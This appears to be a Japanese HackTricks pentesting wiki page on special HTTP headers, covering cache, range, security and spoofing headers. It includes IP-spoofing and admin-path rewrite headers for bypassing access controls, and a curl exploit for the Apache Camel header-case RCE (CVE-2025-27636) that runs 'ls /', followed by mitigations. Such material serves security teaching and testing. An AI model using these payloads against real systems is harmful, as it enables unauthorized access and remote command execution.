特殊なHTTPヘッダー
Reading time: 16 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
ワードリストとツール
- https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers
- https://github.com/rfc-st/humble
変更するヘッダーの場所
IPソースの書き換え:
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
X-Original-URL: 127.0.0.1
Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Host: 127.0.0.1
True-Client-IP: 127.0.0.1
Cluster-Client-IP: 127.0.0.1
Via: 1.0 fred, 1.1 127.0.0.1
Connection: close, X-Forwarded-For
(ホップバイホップヘッダーを確認)
場所の書き換え:
X-Original-URL: /admin/console
X-Rewrite-URL: /admin/console
ホップバイホップヘッダー
ホップバイホップヘッダーは、リクエストを処理しているプロキシによって処理され、消費されることを目的としたヘッダーであり、エンドツーエンドヘッダーとは対照的です。
Connection: close, X-Forwarded-For
HTTPリクエストスムグリング
Content-Length: 30
Transfer-Encoding: chunked
HTTP Request Smuggling / HTTP Desync Attack
キャッシュヘッダー
サーバーキャッシュヘッダー:
X-Cache
は、リクエストがキャッシュされていない場合はmiss
の値を持ち、キャッシュされている場合はhit
の値を持つことがあります。- ヘッダー
Cf-Cache-Status
でも同様の動作があります。 Cache-Control
は、リソースがキャッシュされているかどうか、次回リソースが再キャッシュされる時期を示します:Cache-Control: public, max-age=1800
Vary
は、通常はキーが設定されていない追加のヘッダーをキャッシュキーの一部として扱うことを示すために、レスポンスでよく使用されます。Age
は、オブジェクトがプロキシキャッシュに存在している時間を秒単位で定義します。Server-Timing: cdn-cache; desc=HIT
もリソースがキャッシュされていることを示します。
Cache Poisoning and Cache Deception
ローカルキャッシュヘッダー:
Clear-Site-Data
: 削除すべきキャッシュを示すヘッダー:Clear-Site-Data: "cache", "cookies"
Expires
: レスポンスが期限切れになる日時を含む:Expires: Wed, 21 Oct 2015 07:28:00 GMT
Pragma: no-cache
はCache-Control: no-cache
と同じです。Warning
:Warning
一般HTTPヘッダーは、メッセージの状態に関する可能な問題についての情報を含みます。レスポンスに複数のWarning
ヘッダーが表示されることがあります。Warning: 110 anderson/1.3.37 "Response is stale"
条件付きリクエスト
- これらのヘッダーを使用するリクエスト:
If-Modified-Since
とIf-Unmodified-Since
は、レスポンスヘッダーLast-Modified
に異なる時間が含まれている場合にのみデータで応答されます。 If-Match
とIf-None-Match
を使用する条件付きリクエストは、Etag値を使用し、データ(Etag)が変更された場合にウェブサーバーがレスポンスの内容を送信します。Etag
はHTTPレスポンスから取得されます。- Etag 値は通常、レスポンスの 内容 に基づいて 計算されます。例えば、
ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"
は、Etag
が 37バイト の Sha1 であることを示しています。
レンジリクエスト
Accept-Ranges
: サーバーがレンジリクエストをサポートしているかどうか、またその場合はどの単位でレンジを表現できるかを示します。Accept-Ranges: <range-unit>
Range
: サーバーが返すべきドキュメントの部分を示します。例えば、Range:80-100
は、元のレスポンスのバイト80から100を返し、ステータスコード206 Partial Contentを持ちます。また、リクエストからAccept-Encoding
ヘッダーを削除することを忘れないでください。- これは、そうでなければエスケープされる可能性のある任意の反射されたJavaScriptコードを含むレスポンスを取得するのに役立ちます。しかし、これを悪用するには、リクエストにこのヘッダーを挿入する必要があります。
If-Range
: 指定されたetagまたは日付がリモートリソースと一致する場合にのみ満たされる条件付きレンジリクエストを作成します。リソースの互換性のないバージョンから2つのレンジをダウンロードするのを防ぐために使用されます。Content-Range
: 完全なボディメッセージのどこに部分メッセージが属するかを示します。
メッセージボディ情報
Content-Length
: リソースのサイズ、バイト数の10進数。Content-Type
: リソースのメディアタイプを示します。Content-Encoding
: 圧縮アルゴリズムを指定するために使用されます。Content-Language
: 対象となる人間の言語を説明し、ユーザーが自分の好みの言語に応じて区別できるようにします。Content-Location
: 返されたデータの代替位置を示します。
ペンテストの観点から、この情報は通常「無駄」です。しかし、リソースが 401 または 403 で 保護されている 場合、何らかの 方法 でこの 情報 を 取得 できると、これは 興味深い かもしれません。
例えば、HEADリクエストでの Range
と Etag
の組み合わせは、HEADリクエストを介してページの内容を漏洩させることができます。
- ヘッダー
Range: bytes=20-20
を持つリクエストと、ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"
を含むレスポンスは、バイト20のSHA1がETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y
であることを漏洩しています。
サーバー情報
Server: Apache/2.4.1 (Unix)
X-Powered-By: PHP/5.3.3
コントロール
Allow
: このヘッダーは、リソースが処理できるHTTPメソッドを伝えるために使用されます。例えば、Allow: GET, POST, HEAD
と指定されることがあり、リソースがこれらのメソッドをサポートしていることを示します。Expect
: クライアントがリクエストを正常に処理するためにサーバーが満たす必要がある期待を伝えるために使用されます。一般的な使用例は、クライアントが大きなデータペイロードを送信する意図を示すExpect: 100-continue
ヘッダーです。クライアントは、送信を進める前に100 (Continue)
レスポンスを探します。このメカニズムは、サーバーの確認を待つことでネットワークの使用を最適化するのに役立ちます。
ダウンロード
- HTTPレスポンスの
Content-Disposition
ヘッダーは、ファイルを インライン(ウェブページ内)で表示するか、添付ファイル(ダウンロード)として扱うかを指示します。例えば:
Content-Disposition: attachment; filename="filename.jpg"
これは「filename.jpg」という名前のファイルがダウンロードされ、保存されることを意図していることを意味します。
セキュリティヘッダー
コンテンツセキュリティポリシー (CSP)
Content Security Policy (CSP) Bypass
信頼されたタイプ
CSPを通じて信頼されたタイプを強制することで、アプリケーションはDOM XSS攻撃から保護されます。信頼されたタイプは、確立されたセキュリティポリシーに準拠した特定のオブジェクトのみが危険なWeb API呼び出しに使用できることを保証し、デフォルトでJavaScriptコードを保護します。
// Feature detection
if (window.trustedTypes && trustedTypes.createPolicy) {
// Name and create a policy
const policy = trustedTypes.createPolicy('escapePolicy', {
createHTML: str => str.replace(/\</g, '<').replace(/>/g, '>');
});
}
// Assignment of raw strings is blocked, ensuring safety.
el.innerHTML = "some string" // Throws an exception.
const escaped = policy.createHTML("<img src=x onerror=alert(1)>")
el.innerHTML = escaped // Results in safe assignment.
X-Content-Type-Options
このヘッダーはMIMEタイプのスニッフィングを防ぎます。これはXSS脆弱性につながる可能性があります。サーバーによって指定されたMIMEタイプをブラウザが尊重することを保証します。
X-Content-Type-Options: nosniff
X-Frame-Options
クリックジャッキングに対抗するために、このヘッダーはドキュメントが<frame>
、<iframe>
、<embed>
、または<object>
タグにどのように埋め込まれるかを制限し、すべてのドキュメントがその埋め込み許可を明示的に指定することを推奨します。
X-Frame-Options: DENY
Cross-Origin Resource Policy (CORP) と Cross-Origin Resource Sharing (CORS)
CORPは、どのリソースがウェブサイトによって読み込まれるかを指定するために重要であり、クロスサイトの漏洩を軽減します。一方、CORSは、特定の条件下で同一オリジンポリシーを緩和し、より柔軟なクロスオリジンリソース共有メカニズムを可能にします。
Cross-Origin-Resource-Policy: same-origin
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Credentials: true
Cross-Origin Embedder Policy (COEP) と Cross-Origin Opener Policy (COOP)
COEP と COOP は、クロスオリジンの隔離を有効にするために不可欠であり、Spectre のような攻撃のリスクを大幅に低減します。これらは、それぞれクロスオリジンリソースの読み込みとクロスオリジンウィンドウとの相互作用を制御します。
Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Opener-Policy: same-origin-allow-popups
HTTP Strict Transport Security (HSTS)
最後に、HSTSはブラウザがサーバーと安全なHTTPS接続のみで通信することを強制するセキュリティ機能であり、プライバシーとセキュリティを向上させます。
Strict-Transport-Security: max-age=3153600
ヘッダー名のケースバイパス
HTTP/1.1はヘッダーフィールド名をケースインセンシティブとして定義しています(RFC 9110 §5.1)。それにもかかわらず、受信したリテラルヘッダー名を最初に正規化せずに比較するカスタムミドルウェア、セキュリティフィルター、またはビジネスロジックを見つけることは非常に一般的です(例:header.equals("CamelExecCommandExecutable")
)。 これらのチェックがケースセンシティブで行われる場合、攻撃者は異なる大文字小文字で同じヘッダーを送信することでそれを回避することができます。
この誤りが発生する典型的な状況:
- リクエストがセンシティブなコンポーネントに到達する前に「危険な」内部ヘッダーをブロックしようとするカスタムの許可/拒否リスト。
- リバースプロキシの擬似ヘッダー(例:
X-Forwarded-For
のサニタイズ)の社内実装。 - 管理/デバッグエンドポイントを公開し、認証やコマンド選択のためにヘッダー名に依存するフレームワーク。
バイパスの悪用
- サーバー側でフィルタリングまたは検証されるヘッダーを特定します(例えば、ソースコード、ドキュメント、またはエラーメッセージを読むことによって)。
- 異なるケース(ミックスケースまたは大文字)で同じヘッダーを送信します。HTTPスタックは通常、ユーザーコードが実行された後にのみヘッダーを正規化するため、脆弱なチェックをスキップできます。
- 下流のコンポーネントがヘッダーをケースインセンシティブに扱う場合(ほとんどがそうです)、攻撃者が制御する値を受け入れます。
例:Apache Camel exec
RCE (CVE-2025-27636)
脆弱なバージョンのApache Camelでは、Command CenterルートがCamelExecCommandExecutable
およびCamelExecCommandArgs
ヘッダーを削除することで信頼できないリクエストをブロックしようとします。比較はequals()
で行われたため、正確な小文字の名前のみが削除されました。
# Bypass the filter by using mixed-case header names and execute `ls /` on the host
curl "http://<IP>/command-center" \
-H "CAmelExecCommandExecutable: ls" \
-H "CAmelExecCommandArgs: /"
ヘッダーはフィルタリングされずに exec
コンポーネントに到達し、Camel プロセスの権限でリモートコマンド実行が発生します。
検出と緩和
- すべてのヘッダー名を単一のケース(通常は小文字)に正規化します before アロウ/ディナイ比較を行う前に。
- 疑わしい重複を拒否します:
Header:
とHeAdEr:
の両方が存在する場合、それを異常として扱います。 - 正規化の after に強制されるポジティブアロウリストを使用します。
- 認証とネットワークセグメンテーションで管理エンドポイントを保護します。
参考文献
- CVE-2025-27636 – RCE in Apache Camel via header casing bypass (OffSec blog)
- https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition
- https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers
- https://web.dev/security-headers/
- https://web.dev/articles/security-headers
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。